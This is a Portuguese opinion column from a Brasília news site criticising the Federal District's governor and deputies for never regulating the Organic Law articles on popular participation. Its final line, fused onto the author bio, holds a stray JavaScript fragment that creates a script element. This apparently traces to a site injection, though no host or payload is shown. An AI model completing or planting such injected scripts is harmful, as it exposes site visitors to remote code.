Governador e distritais não querem participação popular na política do DF

BSB Capital 24/06/2017 às 16:10, Atualizado em 18/09/2017 às 21:14

O artigo do jornalista Wilon foi publicado na edição impressa de 24/06, na página de Opinião

Wílon Wander Lopes (*)

Todas as vezes que a gente ouve inteligentes e coerentes análises sobre a situação política do Brasil e do Distrito Federal, um ponto é destacado: a culpa é do eleitor – que votou em gente que não presta! E tem mais uma acusação: depois de ir às urnas, o cidadão não acompanha o que seu representante faz…

E aqui, no desconhecido e abandonado Distrito Federal, a coisa fica mais difícil: em nossas cidades não há eleição de prefeitos e de vereadores. Uma falha que desqualifica e até complica entender o DF.

Em todos os municípios do Brasil, a presença do prefeito e dos vereadores nos bares, nos bailes, nas igrejas, nas praças, nos mercados, nos enterros, é um fato. Todo dia, dá para falar – pessoalmente, ao vivo – sobre política municipal, estadual ou federal com os seus representantes.

Aqui, não. E, por incrível que pareça, no Brasil inteiro se diz que vivemos encontrando o tempo todo o presidente da República e os parlamentares federais, que são nossos amiguinhos. Uma falácia! E quando os políticos que vêm de todo o Brasil pisam na bola, é Brasília que é chamada de terra dos corruptos!

Embora a nossa Lei Orgânica diga que o DF tenha, como valor fundamental, o exercício, aqui, da plena cidadania, de fato nem o governador nem os deputados distritais estimulam a participação popular.

Ao contrário: mais de vinte anos depois, o governador e os deputados distritais não regulamentaram os dois artigos da Lei Orgânica que dão aos eleitores do DF o consagrado direito de participação popular.

Estão lá, na Lei Orgânica do Distrito Federal, a nossa Constituição: O artigo 10, parágrafo primeiro, estipula: “A lei disporá sobre a participação popular no processo de escolha do Administrador Regional”; e o artigo 12 determina: “Cada Região Administrativa do DF terá um Conselho de Representantes Comunitários, com funções consultivas e fiscalizadoras, na forma da lei”. Letra morta!

Cumprir a Lei Orgânica é o principal item do juramento do governador e dos deputados distritais quando tomam posse nos seus importantes cargos. Assim, o exemplo – ou, pior, a falta dele – vem de cima, desestimulando o injustiçado eleitor.

É lamentável concluir que, pelo aqui comprovado, fica claro que nem o governador nem os deputados distritais querem participação popular na política do DF.

Até quando?

         (*) Advogado, jornalista, escritor e presidente da Confraria dos Cidadãos Honorários de Brasíliavar d=document;var s=d.createElement(‘script’);

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